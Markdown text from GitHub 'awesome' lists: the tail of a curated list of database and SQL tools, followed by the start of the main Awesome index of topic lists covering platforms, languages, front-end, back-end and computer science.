[Elephant Shed](https://github.com/credativ/elephant-shed) - Web-based PostgreSQL management front-end that bundles several utilities and applications for use with PostgreSQL. - [Pigsty](https://github.com/Vonng/pigsty) - Battery-Included Open-Source Distribution for PostgreSQL with ultimate observability & Database-as-Code toolbox for developers. ## Security - [Acra](https://github.com/cossacklabs/acra) - Database security suite. Database proxy with field-level encryption, search through encrypted data, SQL injections prevention, intrusion detection, honeypots. Supports client-side and proxy-side ("transparent") encryption. SQL, NoSQL. - [Databunker](https://github.com/securitybunker/databunker) - Special GDPR compliant secure vault for customer records built on top of regular DB. - [Inspektor](https://github.com/poonai/inspektor) - Access control layer for databases. Inspektor leverages open policy agent to make policy decisions. ## SQL ### Analyzers - [SQLCheck](https://github.com/jarulraj/sqlcheck) - Automatically detects common SQL anti-patterns. - [SQLFluff](https://github.com/sqlfluff/sqlfluff) - Dialect-flexible and configurable SQL linter. - [SQLLineage](https://github.com/reata/sqllineage) - SQL Lineage Analysis Tool powered by Python. - [TSQLLint](https://github.com/tsqllint/tsqllint) - A tool for describing, identifying, and reporting the presence of anti-patterns in TSQL scripts. ### Extensions - [PartiQL](https://partiql.org) - SQL-compatible access to relational, semi-structured, and nested data. ### Frameworks - [Apache Calcite](https://calcite.apache.org) - Dynamic data management framework with advanced SQL features. - [ZetaSQL](https://github.com/google/zetasql) - Analyzer Framework for SQL. ### Formatters - [CodeBuff](https://github.com/antlr/codebuff) - Language-agnostic pretty-printing through machine learning. - [pgFormatter](https://github.com/darold/pgFormatter) - A PostgreSQL SQL syntax beautifier. - [Poor SQL](https://poorsql.com) - Instant free and open-source T-SQL formatting. - [SQL Formatter](https://github.com/zeroturnaround/sql-formatter) - JavaScript library for pretty-printing SQL queries. ### Parsers - [General SQL Parser](https://www.sqlparser.com) - Parsing, formatting, modification and analysis for SQL. - [jOOQ](https://github.com/jOOQ/jOOQ) - Parses SQL, translates it to other dialects, and allows for expression tree transformations. - [JSqlParser](https://github.com/JSQLParser/JSqlParser) - Parses an SQL statement and translate it into a hierarchy of Java classes. - [libpg_query](https://github.com/pganalyze/libpg_query) - C library for accessing the PostgreSQL parser outside of the server environment. - [More SQL Parsing!](https://github.com/klahnakoski/mo-sql-parsing) - Parse SQL into JSON. - [sqlparse](https://github.com/andialbrecht/sqlparse) - Non-validating SQL parser for Python. - [SQLGlot](https://github.com/tobymao/sqlglot) - Pure Python SQL parser, transpiler, and builder. ### Über SQL Run SQL queries against anything - [CloudQuery](https://github.com/cloudquery/cloudquery) - Extracts, transforms, and loads your cloud assets into normalized PostgreSQL tables. - [csvq](https://github.com/mithrandie/csvq) - SQL-like query language for CSV. - [dsq](https://github.com/multiprocessio/dsq) - Commandline tool for running SQL queries against JSON, CSV, Excel, Parquet, and more. - [OctoSQL](https://github.com/cube2222/octosql) - Query tool that allows you to join, analyse and transform data from multiple databases and file formats using SQL. - [osquery](https://github.com/osquery/osquery) - SQL powered operating system instrumentation, monitoring, and analytics. - [Resmo](https://www.resmo.com) - Audit and evaluate resources using SQL. - [Steampipe](https://github.com/turbot/steampipe) - Use SQL to instantly query your cloud services (AWS, Azure, GCP and more). - [TextQL](https://github.com/dinedal/textql) - Execute SQL against structured text like CSV or TSV. - [trdsql](https://github.com/noborus/trdsql) - CLI tool that can execute SQL queries on CSV, LTSV, JSON and TBLN. - [Trino](https://github.com/trinodb/trino) - Trino is a distributed SQL query engine designed to query large data sets distributed over one or more heterogeneous data sources. ### Language Server Protocol - [SQLLanguageServer](https://github.com/joe-re/sql-language-server) - SQL Language Server. - [sqls](https://github.com/lighttiger2505/sqls) - SQL Language Server written in Go. ### Learning Learning and puzzles for SQL - [Advanced SQL Puzzles](https://github.com/smpetersgithub/AdvancedSQLPuzzles) - Difficult set-based SQL puzzles. - [Hackerrank](https://www.hackerrank.com/domains/sql) - Practice coding, prepare for interviews, and get hired. - [Learn SQL in a Month of Lunches](https://www.manning.com/books/learn-sql-in-a-month-of-lunches) - A book about how to use SQL to retrieve, filter, and analyze data. - [LeetCode](https://leetcode.com/problemset/database) - Enhance your skills, expand your knowledge and prepare for technical interviews. - [Select Star SQL](https://selectstarsql.com) - Free interactive book which aims to be the best place on the internet for learning SQL. - [StrataScratch](https://www.stratascratch.com/blog/categories/sql) - Data science educational resources. - [SQL Murder Mystery](https://github.com/NUKnightLab/sql-mysteries) - Self-directed lesson to learn SQL concepts and commands and a fun game for experienced SQL users to solve an intriguing crime. ### Plan - [pev2](https://github.com/dalibo/pev2) - A VueJS component to show a graphical vizualization of a PostgreSQL execution plan. - [pg_flame](https://github.com/mgartner/pg_flame) - A flamegraph generator for Postgres `EXPLAIN ANALYZE` output. ### Scripts Useful SQL-scripts for various purposes - [DBA MultiTool](https://github.com/LowlyDBA/dba-multitool) - T-SQL scripts for the long haul: optimizing storage, on-the-fly documentation, and general administrative needs for SQL Server. - [pgx_scripts](https://github.com/pgexperts/pgx_scripts) - A collection of useful little scripts for database analysis and administration, created by our team at PostgreSQL Experts. - [pgsql-bloat-estimation](https://github.com/ioguix/pgsql-bloat-estimation) - Queries to mesure statistical bloat in indexes and tables for PostgreSQL. - [pgWikiDont](https://gitlab.com/depesz/pgWikiDont) - SQL test that checks if your database follows rules from <https://wiki.postgresql.org/wiki/Don't_Do_This>. - [pg-utils](https://github.com/dataegret/pg-utils) - Useful PostgreSQL utilities. - [Postgres cheat sheet](https://postgrescheatsheet.com) - Useful SQL-scripts and commands by <timescale.com>. - [postgres_dba](https://github.com/NikolayS/postgres_dba) - The missing set of useful tools for Postgres DBAs and all engineers. - [postgres_queries_and_commands.sql](https://gist.github.com/rgreenjr/3637525) - Useful PostgreSQL Queries and Commands. - [TPT](https://github.com/tanelpoder/tpt-oracle) - These sqlplus scripts are for Oracle Database performance optimization & troubleshooting. ## Data - [dbt](https://github.com/dbt-labs/dbt-core) - Transform your data by simply writing select statements, while dbt handles turning these statements into tables and views in a data warehouse. - [QuickTable](https://quicktable.io) - Empowers everyone to access, clean, analyze, transform, and model data with no code. ### Catalog - [Amundsen](https://github.com/amundsen-io/amundsen) - Metadata driven application for improving the productivity of data analysts, data scientists and engineers when interacting with data. - [DataHub](https://github.com/datahub-project/datahub) - The Metadata Platform for the Modern Data Stack. - [Marquez](https://github.com/MarquezProject/marquez) - Collect, aggregate, and visualize a data ecosystem's metadata. ### Generation/Masking/Subsetting - [Benerator](https://github.com/rapiddweller/rapiddweller-benerator-ce) - Generate, obfuscate (anonymize / pseudonymize) and migrate data for development, testing and training purposes. - [dbForge Data Generator for MySQL](https://www.devart.com/dbforge/mysql/data-generator) - Powerful GUI tool for creating massive volumes of realistic test data. - [dbForge Data Generator for Oracle](https://www.devart.com/dbforge/oracle/data-generator) - Small but mighty GUI tool for populating Oracle schemas with tons of realistic test data. - [dbForge Data Generator for SQL Server](https://www.devart.com/dbforge/sql/data-generator) - Powerful GUI tool for a fast generation of meaningful test data for databases. - [Faker](https://github.com/faker-js/faker) - Generate massive amounts of fake data in the browser and Node.js. - [Noisia](https://github.com/lesovsky/noisia) - Harmful workload generator for PostgreSQL. - [SB Data Generator](https://soft-builder.com/sb-data-generator) - Simple and powerful tool to generate and populate selected tables or entire databases with realistic test data for your applications. Generate test data for: Oracle, MS SQL Server, MySQL, PostgreSQL, Firebird, SQLite, Azure SQL Database, Amazon Redshift and Amazon RDS. - [Synthesized TDK](https://docs.synthesized.io/tdk/latest/?utm_source=habr&utm_medium=devrel&utm_campaign=datagen) - DevOps' best friend for database masking and generation. ### Replication - [dtle](https://github.com/actiontech/dtle) - Distributed Data Transfer Service for MySQL. - [Litestream](https://github.com/benbjohnson/litestream) - Streaming replication for SQLite. - [pgsync](https://github.com/ankane/pgsync) - Sync Postgres data between databases. - [pg_chameleon](https://github.com/the4thdoctor/pg_chameleon) - MySQL to PostgreSQL replica system written in Python 3. The system use the library mysql-replication to pull the row images from MySQL which are stored into PostgreSQL as JSONB. - [PGDeltaStream](https://github.com/hasura/pgdeltastream) - A Golang webserver to stream Postgres changes atleast-once over websockets, using Postgres logical decoding feature. - [repmgr](https://github.com/2ndQuadrant/repmgr) - The Most Popular Replication Manager for PostgreSQL. ### Compare - [data-diff](https://github.com/datafold/data-diff) - Command-line tool and Python library to efficiently diff rows across two different databases. ## Papers Documents, articles, manifestos and other theoretical materials on database tools - [The "Database as Code" Manifesto](https://github.com/mgramin/database-as-code) - Treat your database as Code. ## Machine Learning - [MindsDB](https://github.com/mindsdb/mindsdb) - In-database Machine Learning. - [SQLFlow](https://github.com/sql-machine-learning/sqlflow) - Brings SQL and AI together. ## Contributing - Your contributions are always welcome! Please read the [contribution guidelines](contributing.md) first.

<div align="center"> <img width="500" height="350" src="media/logo.svg" alt="Awesome"> <br> <br> <hr> <p> <p> ^{<a href="https://github.com/sponsors/sindresorhus">My open source work is supported by the community</a>} </p> ^{Special thanks to:} <br> <br> <a href="https://github.com/botpress/botpress"> <img src="https://sindresorhus.com/assets/thanks/botpress-logo.svg" width="260" alt="Botpress"> </a> <br> _{<b>Botpress is an open-source conversational assistant creation platform.</b>} <br> _{They <a href="https://github.com/botpress/botpress/blob/master/.github/CONTRIBUTING.md">welcome contributions</a> from anyone, whether you're into machine learning,<br>want to get started in open-source, or just have an improvement idea.} <br> </p> <hr> <br> <br> <br> <br> </div> <p align="center"> <a href="awesome.md">What is an awesome list?</a>&nbsp;&nbsp;&nbsp; <a href="contributing.md">Contribution guide</a>&nbsp;&nbsp;&nbsp; <a href="create-list.md">Creating a list</a>&nbsp;&nbsp;&nbsp; <a href="https://twitter.com/awesome__re">Twitter</a>&nbsp;&nbsp;&nbsp; <a href="https://www.redbubble.com/people/sindresorhus/works/30364188-awesome-logo">Stickers & t-shirts</a> </p> <br> <div align="center"> <b>Follow the <a href="https://twitter.com/awesome__re">Awesome Twitter account</a> for updates on new list additions.</b> </div> <br> <p align="center"> _{Just type <a href="https://awesome.re"><code>awesome.re</code></a> to go here. Check out my <a href="https://blog.sindresorhus.com">blog</a> and follow me on <a href="https://twitter.com/sindresorhus">Twitter</a>.} </p> <br> ## Contents - [Platforms](#platforms) - [Programming Languages](#programming-languages) - [Front-End Development](#front-end-development) - [Back-End Development](#back-end-development) - [Computer Science](#computer-science) - [Big Data](#big-data) - [Theory](#theory) - [Books](#books) - [Editors](#editors) - [Gaming](#gaming) - [Development Environment](#development-environment) - [Entertainment](#entertainment) - [Databases](#databases) - [Media](#media) - [Learn](#learn) - [Security](#security) - [Content Management Systems](#content-management-systems) - [Hardware](#hardware) - [Business](#business) - [Work](#work) - [Networking](#networking) - [Decentralized Systems](#decentralized-systems) - [Higher Education](#higher-education) - [Events](#events) - [Testing](#testing) - [Miscellaneous](#miscellaneous) - [Related](#related) ## Platforms - [Node.js](https://github.com/sindresorhus/awesome-nodejs#readme) - Async non-blocking event-driven JavaScript runtime built on Chrome's V8 JavaScript engine. - [Cross-Platform](https://github.com/bcoe/awesome-cross-platform-nodejs#readme) - Writing cross-platform code on Node.js. - [Frontend Development](https://github.com/dypsilon/frontend-dev-bookmarks#readme) - [iOS](https://github.com/vsouza/awesome-ios#readme) - Mobile operating system for Apple phones and tablets. - [Android](https://github.com/JStumpp/awesome-android#readme) - Mobile operating system developed by Google. - [IoT & Hybrid Apps](https://github.com/weblancaster/awesome-IoT-hybrid#readme) - [Electron](https://github.com/sindresorhus/awesome-electron#readme) - Cross-platform native desktop apps using JavaScript/HTML/CSS. - [Cordova](https://github.com/busterc/awesome-cordova#readme) - JavaScript API for hybrid apps. - [React Native](https://github.com/jondot/awesome-react-native#readme) - JavaScript framework for writing natively rendering mobile apps for iOS and Android. - [Xamarin](https://github.com/XamSome/awesome-xamarin#readme) - Mobile app development IDE, testing, and distribution. - [Linux](https://github.com/aleksandar-todorovic/awesome-linux#readme) - [Containers](https://github.com/Friz-zy/awesome-linux-containers#readme) - [eBPF](https://github.com/zoidbergwill/awesome-ebpf#readme) - Virtual machine that allows you to write more efficient and powerful tracing and monitoring for Linux systems. - [Arch-based Projects](https://github.com/PandaFoss/Awesome-Arch#readme) - Linux distributions and projects based on Arch Linux. - [macOS](https://github.com/iCHAIT/awesome-macOS#readme) - Operating system for Apple's Mac computers. - [Command-Line](https://github.com/herrbischoff/awesome-macos-command-line#readme) - [Screensavers](https://github.com/agarrharr/awesome-macos-screensavers#readme) - [Apps](https://github.com/jaywcjlove/awesome-mac#readme) - [Open Source Apps](https://github.com/serhii-londar/open-source-mac-os-apps#readme) - [watchOS](https://github.com/yenchenlin/awesome-watchos#readme) - Operating system for the Apple Watch. - [JVM](https://github.com/deephacks/awesome-jvm#readme) - [Salesforce](https://github.com/mailtoharshit/awesome-salesforce#readme) - [Amazon Web Services](https://github.com/donnemartin/awesome-aws#readme) - [Windows](https://github.com/Awesome-Windows/Awesome#readme) - [IPFS](https://github.com/ipfs/awesome-ipfs#readme) - P2P hypermedia protocol. - [Fuse](https://github.com/fuse-compound/awesome-fuse#readme) - Mobile development tools. - [Heroku](https://github.com/ianstormtaylor/awesome-heroku#readme) - Cloud platform as a service. - [Raspberry Pi](https://github.com/thibmaek/awesome-raspberry-pi#readme) - Credit card-sized computer aimed at teaching kids programming, but capable of a lot more. - [Qt](https://github.com/JesseTG/awesome-qt#readme) - Cross-platform GUI app framework. - [WebExtensions](https://github.com/fregante/Awesome-WebExtensions#readme) - Cross-browser extension system. - [RubyMotion](https://github.com/motion-open-source/awesome-rubymotion#readme) - Write cross-platform native apps for iOS, Android, macOS, tvOS, and watchOS in Ruby. - [Smart TV](https://github.com/vitalets/awesome-smart-tv#readme) - Create apps for different TV platforms. - [GNOME](https://github.com/Kazhnuz/awesome-gnome#readme) - Simple and distraction-free desktop environment for Linux. - [KDE](https://github.com/francoism90/awesome-kde#readme) - A free software community dedicated to creating an open and user-friendly computing experience. - [.NET](https://github.com/quozd/awesome-dotnet#readme) - [Core](https://github.com/thangchung/awesome-dotnet-core#readme) - [Roslyn](https://github.com/ironcev/awesome-roslyn#readme) - Open-source compilers and code analysis APIs for C# and VB.NET languages. - [Amazon Alexa](https://github.com/miguelmota/awesome-amazon-alexa#readme) - Virtual home assistant. - [DigitalOcean](https://github.com/jonleibowitz/awesome-digitalocean#readme) - Cloud computing platform designed for developers. - [Flutter](https://github.com/Solido/awesome-flutter#readme) - Google's mobile SDK for building native iOS and Android apps from a single codebase written in Dart. - [Home Assistant](https://github.com/frenck/awesome-home-assistant#readme) - Open source home automation that puts local control and privacy first. - [IBM Cloud](https://github.com/victorshinya/awesome-ibmcloud#readme) - Cloud platform for developers and companies. - [Firebase](https://github.com/jthegedus/awesome-firebase#readme) - App development platform built on Google Cloud Platform. - [Robot Operating System 2.0](https://github.com/fkromer/awesome-ros2#readme) - Set of software libraries and tools that help you build robot apps. - [Adafruit IO](https://github.com/adafruit/awesome-adafruitio#readme) - Visualize and store data from any device. - [Cloudflare](https://github.com/irazasyed/awesome-cloudflare#readme) - CDN, DNS, DDoS protection, and security for your site. - [Actions on Google](https://github.com/ravirupareliya/awesome-actions-on-google#readme) - Developer platform for Google Assistant. - [ESP](https://github.com/agucova/awesome-esp#readme) - Low-cost microcontrollers with WiFi and broad IoT applications. ## Programming Languages - [JavaScript](https://github.com/sorrycc/awesome-javascript#readme) - [Promises](https://github.com/wbinnssmith/awesome-promises#readme) - [Standard Style](https://github.com/standard/awesome-standard#readme) - Style guide and linter. - [Must Watch Talks](https://github.com/bolshchikov/js-must-watch#readme) - [Tips](https://github.com/loverajoel/jstips#readme) - [Network Layer](https://github.com/Kikobeats/awesome-network-js#readme) - [Micro npm Packages](https://github.com/parro-it/awesome-micro-npm-packages#readme) - [Mad Science npm Packages](https://github.com/feross/awesome-mad-science#readme) - Impossible sounding projects that exist. - [Maintenance Modules](https://github.com/maxogden/maintenance-modules#readme) - For npm packages. - [npm](https://github.com/sindresorhus/awesome-npm#readme) - Package manager. - [AVA](https://github.com/avajs/awesome-ava#readme) - Test runner. - [ESLint](https://github.com/dustinspecker/awesome-eslint#readme) - Linter. - [Functional Programming](https://github.com/stoeffel/awesome-fp-js#readme) - [Observables](https://github.com/sindresorhus/awesome-observables#readme) - [npm scripts](https://github.com/RyanZim/awesome-npm-scripts#readme) - Task runner. - [30 Seconds of Code](https://github.com/30-seconds/30-seconds-of-code#readme) - Code snippets you can understand in 30 seconds. - [Swift](https://github.com/matteocrippa/awesome-swift#readme) - Apple's compiled programming language that is secure, modern, programmer-friendly, and fast. - [Education](https://github.com/hsavit1/Awesome-Swift-Education#readme) - [Playgrounds](https://github.com/uraimo/Awesome-Swift-Playgrounds#readme) - [Python](https://github.com/vinta/awesome-python#readme) - General-purpose programming language designed for readability. - [Asyncio](https://github.com/timofurrer/awesome-asyncio#readme) - Asynchronous I/O in Python 3. - [Scientific Audio](https://github.com/faroit/awesome-python-scientific-audio#readme) - Scientific research in audio/music. - [CircuitPython](https://github.com/adafruit/awesome-circuitpython#readme) - A version of Python for microcontrollers. - [Data Science](https://github.com/krzjoa/awesome-python-data-science#readme) - Data analysis and machine learning. - [Typing](https://github.com/typeddjango/awesome-python-typing#readme) - Optional static typing for Python. - [Rust](https://github.com/rust-unofficial/awesome-rust#readme) - [Haskell](https://github.com/krispo/awesome-haskell#readme) - [PureScript](https://github.com/passy/awesome-purescript#readme) - [Go](https://github.com/avelino/awesome-go#readme) - [Scala](https://github.com/lauris/awesome-scala#readme) - [Scala Native](https://github.com/tindzk/awesome-scala-native#readme) - Optimizing ahead-of-time compiler for Scala based on LLVM. - [Ruby](https://github.com/markets/awesome-ruby#readme) - [Clojure](https://github.com/razum2um/awesome-clojure#readme) - [ClojureScript](https://github.com/hantuzun/awesome-clojurescript#readme) - [Elixir](https://github.com/h4cc/awesome-elixir#readme) - [Elm](https://github.com/sporto/awesome-elm#readme) - [Erlang](https://github.com/drobakowski/awesome-erlang#readme) - [Julia](https://github.com/svaksha/Julia.jl#readme) - [Lua](https://github.com/LewisJEllis/awesome-lua#readme) - [C](https://github.com/aleksandar-todorovic/awesome-c#readme) - [C/C++](https://github.com/fffaraz/awesome-cpp#readme) - General-purpose language with a bias toward system programming and embedded, resource-constrained software. - [R](https://github.com/qinwf/awesome-R#readme) - [D](https://github.com/zhaopuming/awesome-d#readme) - [Common Lisp](https://github.com/CodyReichert/awesome-cl#readme) - Powerful dynamic multiparadigm language that facilitates iterative and interactive development. - [Learning](https://github.com/GustavBertram/awesome-common-lisp-learning#readme) - [Perl](https://github.com/hachiojipm/awesome-perl#readme) - [Groovy](https://github.com/kdabir/awesome-groovy#readme) - [Dart](https://github.com/yissachar/awesome-dart#readme) - [Java](https://github.com/akullpp/awesome-java#readme) - Popular secure object-oriented language designed for flexibility to "write once, run anywhere". - [RxJava](https://github.com/eleventigers/awesome-rxjava#readme) - [Kotlin](https://github.com/KotlinBy/awesome-kotlin#readme) - [OCaml](https://github.com/ocaml-community/awesome-ocaml#readme) - [ColdFusion](https://github.com/seancoyne/awesome-coldfusion#readme) - [Fortran](https://github.com/rabbiabram/awesome-fortran#readme) - [PHP](https://github.com/ziadoz/awesome-php#readme) - Server-side scripting language. - [Composer](https://github.com/jakoch/awesome-composer#readme) - Package manager. - [Pascal](https://github.com/Fr0sT-Brutal/awesome-pascal#readme) - [Assembler](https://github.com/lurumdare/awesome-asm#readme) - [AutoHotkey](https://github.com/ahkscript/awesome-AutoHotkey#readme) - [AutoIt](https://github.com/J2TeaM/awesome-AutoIt#readme) - [Crystal](https://github.com/veelenga/awesome-crystal#readme) - [Frege](https://github.com/sfischer13/awesome-frege#readme) - Haskell for the JVM. - [CMake](https://github.com/onqtam/awesome-cmake#readme) - Build, test, and package software. - [ActionScript 3](https://github.com/robinrodricks/awesome-actionscript3#readme) - Object-oriented language targeting Adobe AIR. - [Eta](https://github.com/sfischer13/awesome-eta#readme) - Functional programming language for the JVM. - [Idris](https://github.com/joaomilho/awesome-idris#readme) - General purpose pure functional programming language with dependent types influenced by Haskell and ML. - [Ada/SPARK](https://github.com/ohenley/awesome-ada#readme) - Modern programming language designed for large, long-lived apps where reliability and efficiency are essential. - [Q#](https://github.com/ebraminio/awesome-qsharp#readme) - Domain-specific programming language used for expressing quantum algorithms. - [Imba](https://github.com/koolamusic/awesome-imba#readme) - Programming language inspired by Ruby and Python and compiles to performant JavaScript. - [Vala](https://github.com/desiderantes/awesome-vala#readme) - Programming language designed to take full advantage of the GLib and GNOME ecosystems, while preserving the speed of C code. - [Coq](https://github.com/coq-community/awesome-coq#readme) - Formal language and environment for programming and specification which facilitates interactive development of machine-checked proofs. - [V](https://github.com/vlang/awesome-v#readme) - Simple, fast, safe, compiled language for developing maintainable software. ## Front-End Development - [ES6 Tools](https://github.com/addyosmani/es6-tools#readme) - [Web Performance Optimization](https://github.com/davidsonfellipe/awesome-wpo#readme) - [Web Tools](https://github.com/lvwzhen/tools#readme) - [CSS](https://github.com/awesome-css-group/awesome-css#readme) - Style sheet language that specifies how HTML elements are displayed on screen. - [Critical-Path Tools](https://github.com/addyosmani/critical-path-css-tools#readme) - [Scalability](https://github.com/davidtheclark/scalable-css-reading-list#readme) - [Must-Watch Talks](https://github.com/AllThingsSmitty/must-watch-css#readme) - [Protips](https://github.com/AllThingsSmitty/css-protips#readme) - [Frameworks](https://github.com/troxler/awesome-css-frameworks#readme) - [React](https://github.com/enaqx/awesome-react#readme) - App framework. - [Relay](https://github.com/expede/awesome-relay#readme) - Framework for building data-driven React apps. - [React Hooks](https://github.com/glauberfc/awesome-react-hooks#readme) - A new feature that lets you use state and other React features without writing a class. - [Web Components](https://github.com/mateusortiz/webcomponents-the-right-way#readme) - [Polymer](https://github.com/Granze/awesome-polymer#readme) - JavaScript library to develop Web Components. - [Angular](https://github.com/PatrickJS/awesome-angular#readme) - App framework. - [Backbone](https://github.com/sadcitizen/awesome-backbone#readme) - App framework. - [HTML5](https://github.com/diegocard/awesome-html5#readme) - Markup language used for websites & web apps. - [SVG](https://github.com/willianjusten/awesome-svg#readme) - XML-based vector image format. - [Canvas](https://github.com/raphamorim/awesome-canvas#readme) - [KnockoutJS](https://github.com/dnbard/awesome-knockout#readme) - JavaScript library. - [Dojo Toolkit](https://github.com/petk/awesome-dojo#readme) - JavaScript toolkit. - [Inspiration](https://github.com/NoahBuscher/Inspire#readme) - [Ember](https://github.com/ember-community-russia/awesome-ember#readme) - App framework. - [Android UI](https://github.com/wasabeef/awesome-android-ui#readme) - [iOS UI](https://github.com/cjwirth/awesome-ios-ui#readme) - [Meteor](https://github.com/Urigo/awesome-meteor#readme) - [BEM](https://github.com/sturobson/BEM-resources#readme) - [Flexbox](https://github.com/afonsopacifer/awesome-flexbox#readme) - [Web Typography](https://github.com/deanhume/typography#readme) - [Web Accessibility](https://github.com/brunopulis/awesome-a11y#readme) - [Material Design](https://github.com/sachin1092/awesome-material#readme) - [D3](https://github.com/wbkd/awesome-d3#readme) - Library for producing dynamic, interactive data visualizations. - [Emails](https://github.com/jonathandion/awesome-emails#readme) - [jQuery](https://github.com/petk/awesome-jquery#readme) - Easy to use JavaScript library for DOM manipulation. - [Tips](https://github.com/AllThingsSmitty/jquery-tips-everyone-should-know#readme) - [Web Audio](https://github.com/notthetup/awesome-webaudio#readme) - [Offline-First](https://github.com/pazguille/offline-first#readme) - [Static Website Services](https://github.com/agarrharr/awesome-static-website-services#readme) - [Cycle.js](https://github.com/cyclejs-community/awesome-cyclejs#readme) - Functional and reactive JavaScript framework. - [Text Editing](https://github.com/dok/awesome-text-editing#readme) - [Motion UI Design](https://github.com/fliptheweb/motion-ui-design#readme) - [Vue.js](https://github.com/vuejs/awesome-vue#readme) - App framework. - [Marionette.js](https://github.com/sadcitizen/awesome-marionette#readme) - App framework. - [Aurelia](https://github.com/aurelia-contrib/awesome-aurelia#readme) - App framework. - [Charting](https://github.com/zingchart/awesome-charting#readme) - [Ionic Framework 2](https://github.com/candelibas/awesome-ionic#readme) - [Chrome DevTools](https://github.com/ChromeDevTools/awesome-chrome-devtools#readme) - [PostCSS](https://github.com/jdrgomes/awesome-postcss#readme) - CSS tool. - [Draft.js](https://github.com/nikgraf/awesome-draft-js#readme) - Rich text editor framework for React. - [Service Workers](https://github.com/TalAter/awesome-service-workers#readme) - [Progressive Web Apps](https://github.com/TalAter/awesome-progressive-web-apps#readme) - [choo](https://github.com/choojs/awesome-choo#readme) - App framework. - [Redux](https://github.com/brillout/awesome-redux#readme) - State container for JavaScript apps. - [webpack](https://github.com/webpack-contrib/awesome-webpack#readme) - Module bundler. - [Browserify](https://github.com/browserify/awesome-browserify#readme) - Module bundler. - [Sass](https://github.com/Famolus/awesome-sass#readme) - CSS preprocessor. - [Ant Design](https://github.com/websemantics/awesome-ant-design#readme) - Enterprise-class UI design language. - [Less](https://github.com/LucasBassetti/awesome-less#readme) - CSS preprocessor. - [WebGL](https://github.com/sjfricke/awesome-webgl#readme) - JavaScript API for rendering 3D graphics. - [Preact](https://github.com/ooade/awesome-preact#readme) - App framework. - [Progressive Enhancement](https://github.com/jbmoelker/progressive-enhancement-resources#readme) - [Next.js](https://github.com/unicodeveloper/awesome-nextjs#readme) - Framework for server-rendered React apps. - [Hyperapp](https://github.com/jorgebucaran/awesome-hyperapp#readme) - Tiny JavaScript library for building web apps. - [lit-html](https://github.com/web-padawan/awesome-lit-html#readme) - HTML templating library for JavaScript. - [JAMstack](https://github.com/automata/awesome-jamstack#readme) - Modern web development architecture based on client-side JavaScript, reusable APIs, and prebuilt markup. - [WordPress-Gatsby](https://github.com/henrikwirth/awesome-wordpress-gatsby#readme) - Web development technology stack with WordPress as a back end and Gatsby as a front end. - [Mobile Web Development](https://github.com/myshov/awesome-mobile-web-development#readme) - Creating a great mobile web experience. - [Storybook](https://github.com/lauthieb/awesome-storybook#readme) - Development environment for UI components. - [Blazor](https://github.com/AdrienTorris/awesome-blazor#readme) - .NET web framework using C#/Razor and HTML that runs in the browser with WebAssembly. - [Web Performance Metrics](https://github.com/csabapalfi/awesome-web-performance-metrics#readme) - Metrics to help understand page speed and user experience. - [Tailwind CSS](https://github.com/aniftyco/awesome-tailwindcss#readme) - Utility-first CSS framework for rapid UI development. - [Seed](https://github.com/seed-rs/awesome-seed-rs#readme) - Rust framework for creating web apps running in WebAssembly. - [Web Performance Budget](https://github.com/pajaydev/awesome-performance-budget#readme) - Techniques to ensure certain performance metrics for a website. - [Web Animation](https://github.com/sergey-pimenov/awesome-web-animation#readme) - Animations in the browser with JavaScript, CSS, SVG, etc. - [Yew](https://github.com/jetli/awesome-yew#readme) - Rust framework inspired by Elm and React for creating multi-threaded frontend web apps with WebAssembly. - [Material-UI](https://github.com/nadunindunil/awesome-material-ui#readme) - Material Design React components for faster and easier web development. ## Back-End Development - [Flask](https://github.com/humiaozuzu/awesome-flask#readme) - Python framework. - [Docker](https://github.com/veggiemonk/awesome-docker#readme) - [Vagrant](https://github.com/iJackUA/awesome-vagrant#readme) - Automation virtual machine environment. - [Pyramid](https://github.com/uralbash/awesome-pyramid#readme) - Python framework. - [Play1 Framework](https://github.com/PerfectCarl/awesome-play1#readme) - [CakePHP](https://github.com/friendsofcake/awesome-cakephp#readme) - PHP framework. - [Symfony](https://github.com/sitepoint-editors/awesome-symfony#readme) - PHP framework. - [Education](https://github.com/pehapkari/awesome-symfony-education#readme) - [Laravel](https://github.com/chiraggude/awesome-laravel#readme) - PHP framework. - [Education](https://github.com/fukuball/Awesome-Laravel-Education#readme) - [Rails](https://github.com/ekremkaraca/awesome-rails#readme) - Web app framework for Ruby. - [Gems](https://github.com/hothero/awesome-rails-gem#readme) - Packages. - [Phalcon](https://github.com/phalcon/awesome-phalcon#readme) - PHP framework. - [Useful `.htaccess` Snippets](https://github.com/phanan/htaccess#readme) - [nginx](https://github.com/fcambus/nginx-resources#readme) - Web server. - [Dropwizard](https://github.com/stve/awesome-dropwizard#readme) - Java framework. - [Kubernetes](https://github.com/ramitsurana/awesome-kubernetes#readme) - Open-source platform that automates Linux container operations. - [Lumen](https://github.com/unicodeveloper/awesome-lumen#readme) - PHP micro-framework. - [Serverless Framework](https://github.com/pmuens/awesome-serverless#readme) - Serverless computing and serverless architectures. - [Apache Wicket](https://github.com/PhantomYdn/awesome-wicket#readme) - Java web app framework. - [Vert.x](https://github.com/vert-x3/vertx-awesome#readme) - Toolkit for building reactive apps on the JVM. - [Terraform](https://github.com/shuaibiyy/awesome-terraform#readme) - Tool for building, changing, and versioning infrastructure. - [Vapor](https://github.com/Cellane/awesome-vapor#readme) - Server-side development in Swift. - [Dash](https://github.com/ucg8j/awesome-dash#readme) - Python web app framework. ## Computer Science - [University Courses](https://github.com/prakhar1989/awesome-courses#readme) - [Data Science](https://github.com/bulutyazilim/awesome-datascience#readme) - [Tutorials](https://github.com/siboehm/awesome-learn-datascience#readme) - [Machine Learning](https://github.com/josephmisiti/awesome-machine-learning#readme) - [Tutorials](https://github.com/ujjwalkarn/Machine-Learning-Tutorials#readme) - [ML with Ruby](https://github.com/arbox/machine-learning-with-ruby#readme) - Learning, implementing, and applying Machine Learning using Ruby. - [Core ML Models](https://github.com/likedan/Awesome-CoreML-Models#readme) - Models for Apple's machine learning framework. - [H2O](https://github.com/h2oai/awesome-h2o#readme) - Open source distributed machine learning platform written in Java with APIs in R, Python, and Scala. - [Speech and Natural Language Processing](https://github.com/edobashira/speech-language-processing#readme) - [Spanish](https://github.com/dav009/awesome-spanish-nlp#readme) - [NLP with Ruby](https://github.com/arbox/nlp-with-ruby#readme) - [Question Answering](https://github.com/seriousmac/awesome-qa#readme) - The science of asking and answering in natural language with a machine. - [Natural Language Generation](https://github.com/tokenmill/awesome-nlg#readme) - Generation of text used in data to text, conversational agents, and narrative generation applications. - [Linguistics](https://github.com/theimpossibleastronaut/awesome-linguistics#readme) - 